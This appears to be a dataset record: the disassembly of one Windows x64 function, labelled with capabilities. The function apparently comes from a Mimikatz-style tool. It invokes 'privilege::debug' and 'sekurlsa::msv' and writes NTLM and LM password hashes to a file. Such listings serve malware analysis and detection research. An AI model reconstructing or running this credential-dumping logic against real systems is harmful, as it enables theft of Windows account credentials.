Function at 0x180001500
Capabilities:
Query environment variable
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r14
sub rsp, 0x460
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov rbp, rcx
xor r14d, r14d
lea rcx, [rsp + 0x51]
xor edx, edx
mov r8d, 0x3ff
mov dword [rsp + 0x44], r14d
mov byte [rsp + 0x50], r14b
call fcn.1800212f0
mov dword [rsp + 0x40], r14d
mov esi, r14d
call fcn.18001ff18
lea rcx, [rax + 0x30]
call fcn.180023220
mov edx, 0x40000
mov ecx, eax
call fcn.1800290c4
mov dword [0x18004cc88], eax
call fcn.18001ff18
lea rcx, [rax + 0x60]
call fcn.180023220
mov edx, 0x40000
mov ecx, eax
call fcn.1800290c4
mov dword [0x18004cc90], eax
call qword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
mov r12d, 1
lea rcx, [0x180004580]
mov edx, r12d
mov dword [0x18004cc8c], eax
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
call fcn.180004a6c
lea r8, [0x18004cc9c]
lea rdx, [0x18004cc94]
lea rcx, [0x18004cc98]
call qword [sym.imp.ntdll.dll_RtlGetNtVersionNumbers]
and dword [0x18004cc9c], 0x7fff
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jns 0x1800015f0
mov ecx, eax
call fcn.180004a6c
call fcn.180005470
lea rdi, [0x18004a500]
mov ebx, Ordinal_27
mov rax, qword [rdi]
mov rcx, qword [rax + 0x28]
test rcx, rcx
je 0x180001628
call rcx
test eax, eax
jns 0x180001628
mov rdx, qword [rdi]
lea rcx, str.INIT
mov r8d, eax
mov rdx, qword [rdx]
call fcn.180004a6c
add rdi, 8
dec rbx
jne 0x180001601
lea rcx, str.privilege::debug
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov ebx, eax
test eax, eax
je 0x1800016b2
mov edx, ebx
mov ecx, 0x40
add rdx, rdx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
test rax, rax
je 0x1800016b2
lea rcx, str.privilege::debug
mov r8d, ebx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
cmp ebx, eax
je 0x180001684
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rdi, rax
test rdi, rdi
je 0x1800016b2
movzx eax, word [rdi]
cmp eax, 0x21
je 0x1800016a0
cmp eax, 0x2a
je 0x1800016a9
mov rcx, rdi
call fcn.180004734
jmp 0x1800016a9
lea rcx, [rdi + 2]
call fcn.180004a80
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [0x18004b788], esi
je 0x18000187c
lea rcx, str.sekurlsa::msv
call fcn.180004684
mov dword [0x18004b788], r14d
test eax, eax
cmove esi, r12d
test esi, esi
je 0x18000187c
mov qword [rsp + 0x30], r14
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rbp
mov dword [rsp + 0x28], Ordinal_133
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x18000187c
lea rcx, [rsp + 0x44]
mov qword [rsp + 0x498], r13
call fcn.180002700
mov ebx, dword [rsp + 0x44]
mov r13d, r14d
mov rbp, rax
test ebx, ebx
je 0x180001823
mov qword [rsp + 0x4a0], r15
mov r14, rax
lea r15, [rax + 0x10]
nop dword [rax + rax]
mov rax, qword [r14 + 8]
mov r9, qword [r14]
inc r13d
lea rdx, [0x180039c00]
lea rcx, [rsp + 0x50]
mov r8d, r13d
mov qword [rsp + 0x20], rax
call fcn.18001f834
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x50]
lea r9, [rsp + 0x40]
repne scasb al, byte [rdi]
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x20], rax
not rcx
lea r8, [rcx - 1]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x400
call fcn.1800212f0
lea r9, [r15 + 0x21]
lea rdx, str.ntlmhash_s__lmhash_s___r_n
lea rcx, [rsp + 0x50]
mov r8, r15
call fcn.18001f834
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x50]
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x50]
repne scasb al, byte [rdi]
mov qword [rsp + 0x20], rax
not rcx
lea r8, [rcx - 1]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x400
call fcn.1800212f0
add r15, 0x58
add r14, 0x58
cmp r13d, ebx
jb 0x180001750
mov r15, qword [rsp + 0x4a0]
xor r14d, r14d
mov r13, qword [rsp + 0x498]
test rbp, rbp
je 0x180001873
test ebx, ebx
je 0x18000186b
lea rdi, [rbp + 8]
nop dword [rax + rax]
mov rcx, qword [rdi - 8]
test rcx, rcx
je 0x180001852
call fcn.180028cc8
mov qword [rdi - 8], r14
mov rcx, qword [rdi]
test rcx, rcx
je 0x180001862
call fcn.180028cc8
mov qword [rdi], r14
add rdi, 0x58
dec rbx
jne 0x180001840
mov rcx, rbp
call fcn.180028cc8
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.18001f750
mov rbx, qword [rsp + 0x4a8]
add rsp, 0x460
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret